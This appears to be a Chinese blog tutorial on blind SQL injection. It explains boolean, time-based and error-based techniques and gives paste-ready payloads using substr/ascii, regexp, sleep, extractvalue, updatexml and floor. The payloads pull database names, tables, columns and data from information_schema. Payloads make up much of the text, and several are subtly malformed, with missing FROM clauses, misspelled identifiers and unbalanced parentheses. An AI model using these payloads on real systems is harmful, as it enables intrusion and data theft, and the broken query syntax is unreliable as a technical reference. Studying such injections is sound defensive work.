SQL注入之盲注
SQL注入之盲注
- 前言
- 一、盲注分類
- 二、具體解析
- 1.基于布爾的sql盲注
- 首先要先了解一下sql注入截取字符串常用的函數:
- (1)mid()函數
- (2)substr()函數
- (3)left()函數
- 具體注入方法
- 2.基于時間的SQL盲注
- 3.基于報錯的SQL盲注
- 1.extractvalue()函數
- 2.updatexml()函數
- 3.floor()函數
- 案例(這里使用updatexml演示SQL語句獲取user()值)
- (1)利用updatexml獲取user()
- (2)利用updatexml獲取database()(當前數據庫名)
- (3)利用報錯注入獲取獲取數據庫庫名
- (4)利用報錯注入獲取數據庫表名
前言
何為盲注?盲注就是在 sql 注入過程中,sql 語句執行的選擇后,選擇的數據不能回顯 到前端頁面
一、盲注分類
盲注分為三類:
(1)基于布爾的SQL盲注
(2)基于事件的SQL盲注
(3)基于報錯的SQL盲注
二、具體解析
1.基于布爾的sql盲注
首先要先了解一下sql注入截取字符串常用的函數:
(1)mid()函數
mid (string, start,length)
string
表示要提取字符的字段
start
規定開始位置(這里的起始值為1)
length
表示要返回的字符數
比如 str=‘weqweqwe’ mid(str,2,1)返回的值為e(2)substr()函數
用于截取字符串
substr(string,start,length)參數的含義和mid函數的參數含義一致
(3)left()函數
得到字符串左部指定個數的字符
left(string,n)
string
要截取的字符串
n
長度(如果沒有規定n的值就會返回剩余所有值)
//ORD()函數返回第一個字符的ascll碼值常與上述三個函數聯用
具體注入方法
(1)left(database(),1)
database()顯示數據庫名稱,left(database(),1)從左側截取 database() 的前 1 位
(2)ascii(substr((select table_name information_schema.tables where tables_schema =database()limit 0,1),1,1))=101 --+
substr(a,b,c)從 b 位置開始,截取字符串 a 的 c 長度。Ascii()將某個字符轉換 為 ascii 值
(3)regexp 正則注入
1.判斷第一個表名的第一個字符是否為a-z的字符假設abc是已知的庫名
index.php?id=1 and 1=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[az]' limit 0,1)2.判斷第一個字符是否為a-p中的字符
index.php?id=1 and a=(select 1 from information_schema.table where table_schema="abc" and table_name regexp '^[a-p]' limit 0,1)3.確認該字符是p
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p' limit 0,1)4.以此類推猜解之后的字符
index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="abc" table name regexp '^p[a-z]' limit 0,1) ........2.基于時間的SQL盲注
延時注入是注入延時回顯參數,根據是否延時來判斷語句執行是否正確。當布爾盲注頁面回顯無區別時通常搭配延時注入使用。延時注入常用的函數有sleep(),if()
sleep(int m);延時m秒 if(boolean
res,a,b);首選判斷res的返回值,true執行a,false執行b。有點類似編程里的三目運算符
但是一般不推薦使用延遲注入因為頁面本身緩沖就有時間會對判斷造成一定的影響
3.基于報錯的SQL盲注
報錯盲注就是使語句報錯。報錯注入則是注入特殊的語句使報錯回顯中帶上我們需要的信息
常見的報錯回顯有三種函數extractvalue()、updatexml()、floor()
1.extractvalue()函數
extractvalue(xml_document,xpath_string)
' and(select extractvalue(1,concat(0x7e,(select database()),0x7e))) #查庫 ' and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#查表 ' and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))#查字段 ' and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))#查數據2.updatexml()函數
updatexml(xml_document,xpath_string,new_value)
' or updatexml(1,concat('~',database(),'~'),1) # 查庫 ' union select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()),0x7e),1) #查表 ' union select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME"),0x7e),1) #查字段 ' union select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e),1) #查數據3.floor()函數
' union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查庫 ' union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查表 ' union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a#查字段 ' union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)#查數據note:extractvalue()和updatexml()函數查詢字符串的最大長度為32,如果超過32要使用substring()函數(通過截取或limit一次查取的上限也為32位)
案例(這里使用updatexml演示SQL語句獲取user()值)
(1)利用updatexml獲取user()
‘and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
這里的’0x7e‘是ASCLL編碼的結果結果是’~‘
(2)利用updatexml獲取database()(當前數據庫名)
‘and updatexml(1,concat(0x7e,(select database(),0x7e),1)--+
(3)利用報錯注入獲取獲取數據庫庫名
‘and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1,0x7e),1)--+
因為報錯注入只顯示一條結果所以要用到limit
(4)利用報錯注入獲取數據庫表名
‘and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1,0x7e),1)--+
這里的test是從上一個語句獲取的數據庫庫名
總結
- 上一篇: spring源码分析-core.io包里
- 下一篇: 数据库设计注意事项和原则